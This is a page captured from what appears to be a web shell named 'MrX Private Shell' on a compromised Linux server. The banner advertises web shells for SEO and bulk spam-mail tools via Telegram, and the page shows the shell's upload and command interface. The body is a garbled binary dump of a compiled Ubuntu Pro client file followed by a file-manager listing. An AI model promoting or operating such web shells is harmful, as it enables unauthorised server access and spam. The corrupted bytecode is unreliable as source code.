__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

Uٵg�
��H�SSKJrJrJrJrJrJrJrJr SSK	J
r
 SSKJrJ
r
Jr SSKJr SSKJr SSKJrJr SSKJr \R0"5r\
R4\
R6\
R8"5\
R:"S5S	\4S
j5555rS\R@S\!S
\!S	\4Sjr"\"S\RF\RH\\RJ\
"\"S\RLROSS9SS9\"S\RPROSS9SSS/SS9/S9/S9r)g)�)�config�daemon�entitlements�event_logger�
exceptions�messages�timer�util)�cli_util)�ProArgument�ProArgumentGroup�
ProCommand)�perform_disable)�HelpCategory)�
machine_token�state_files)�update_motd_messagesz
pro detach�returnc���[XRURS:HS9nUS:Xa*[R"5 [
R"5 [R5 U$)zPPerform the detach action for this machine.

@return: 0 on success, 1 otherwise
�json)�
assume_yes�json_outputr)	�_detachr�formatr�startr	�stop�event�process_events)�args�cfg�kwargs�rets    �5/usr/lib/python3/dist-packages/uaclient/cli/detach.py�
action_detachr$sL������d�k�k�V�6K��C��a�x�����
�
�
��	�����J�r rrc	� �/n[R"U5HDn[R"UUS9nURSS9upgU(dM3UR
U5 MF U(ar[R[RR[U555 UH1n[RSRUR55 M3 [R "US9(dgUHn[#UUUUSS9 M [$R&"U5nUR)5 [*R,"5 [/U5 [R[R05 g	![Ra GMsf=f)
aNDetach the machine from the active Ubuntu Pro subscription,

:param cfg: a ``config.UAConfig`` instance
:param assume_yes: Assume a yes answer to any prompts requested.
     In this case, it means automatically disable any service during
     detach.
:param json_output: output should be json only

@return: 0 on success, 1 otherwise
)r �nameT)�ignore_dependent_servicesz    {})r�F)rr�
update_statusr)r�entitlements_disable_order�entitlement_factoryr�EntitlementNotFoundError�can_disable�appendr�infor�DETACH_WILL_DISABLE�	pluralize�lenrr'r
�prompt_for_confirmationrr�get_machine_token_file�deleter�delete_state_filesr�DETACH_SUCCESS)	r rr�
to_disable�ent_name�entr"�_�machine_token_files	         r#rr(s>���J� �;�;�C�@��	��2�2����C����4��@����3����c�"�A� �
�
�
�8�/�/�9�9�#�j�/�J�K��C��J�J�x���s�x�x�0�1���'�'�:�>�������#�!��	
��'�=�=�c�B�������"�"�$����	�J�J�x�&�&�'���=�2�2�	��	�s�E4�4F
�F
�detachz--assume-yes)�command�
store_true)�help�actionz--format�cli)�default�storer)rArB�choicesrD)�	arguments)rA�descriptionrB�
help_category�argument_groupsN)*�uaclientrrrrrrr	r
�uaclient.clir�uaclient.cli.commandsrr
r�uaclient.cli.disabler�uaclient.cli.parserr�uaclient.filesrr�uaclient.timer.update_messagingr�get_event_loggerr�verify_json_format_args�assert_root�assert_attached�assert_lock_file�intr$�UAConfig�boolr�CLI_ROOT_DETACH�CLI_DETACH_DESC�OTHER�CLI_ASSUME_YESr�CLI_FORMAT_DESC�detach_command�r%r#�<module>rasG��	�	�	�"�K�K�0�,�5�@��%�%�'��
�!�!�	���	����	���<�(��S��)���"��0
����0
�d�0
��0
�#�0
�f��	�	!�	!��(�(���$�$���"�!�0�0�7�7��7�I�'��
��!�1�1�8�8��8�G�"�"�F�O�!��

�	
��
�r%

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 13.24 KB 0644
api.cpython-313.pyc File 3.1 KB 0644
attach.cpython-313.pyc File 6.81 KB 0644
auto_attach.cpython-313.pyc File 1.59 KB 0644
cli_util.cpython-313.pyc File 13.24 KB 0644
collect_logs.cpython-313.pyc File 2.04 KB 0644
commands.cpython-313.pyc File 5.83 KB 0644
config.cpython-313.pyc File 12.27 KB 0644
cve.cpython-313.pyc File 7.8 KB 0644
cves.cpython-313.pyc File 4.75 KB 0644
detach.cpython-313.pyc File 4.43 KB 0644
disable.cpython-313.pyc File 10.9 KB 0644
enable.cpython-313.pyc File 16.79 KB 0644
fix.cpython-313.pyc File 36.75 KB 0644
formatter.cpython-313.pyc File 14.01 KB 0644
help.cpython-313.pyc File 2.07 KB 0644
parser.cpython-313.pyc File 4.9 KB 0644
refresh.cpython-313.pyc File 3.75 KB 0644
security_status.cpython-313.pyc File 2.79 KB 0644
status.cpython-313.pyc File 2.95 KB 0644
system.cpython-313.pyc File 1.56 KB 0644
Filemanager